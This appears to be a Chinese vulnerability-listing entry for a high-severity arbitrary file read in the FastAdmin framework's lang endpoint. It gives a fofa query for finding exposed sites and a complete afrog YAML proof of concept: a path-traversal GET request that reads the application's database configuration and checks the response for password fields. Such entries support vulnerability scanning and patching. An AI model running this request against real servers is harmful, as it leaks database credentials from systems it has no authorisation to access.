fastadmin-lang-fileread: Fastadmin 框架 lang 接口任意文件读取

日期: 2025-09-01 | 影响软件: fastadmin | POC: 已公开

漏洞描述

fofa: app="FASTADMIN-框架"

PoC代码[已公开]

id: fastadmin-lang-fileread

info:
  name: Fastadmin 框架 lang 接口任意文件读取
  author: zan8in
  severity: high
  verified: true
  description: |-
    fofa: app="FASTADMIN-框架"
  tags: fastadmin,fileread
  created: 2024/06/17

rules:
  r0:
    request:
      method: GET
      path: /index/ajax/lang?lang=../../application/database
    expression: |
      response.status == 200 && 
      (response.body.bcontains(b'jsonpReturn') || response.body.bcontains(b'define({')) && 
      response.body.bcontains(b'"database"') && 
      response.body.bcontains(b'"password"')
expression: r0()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/vulnerability/fastadmin-lang-fileread.yaml

相关漏洞推荐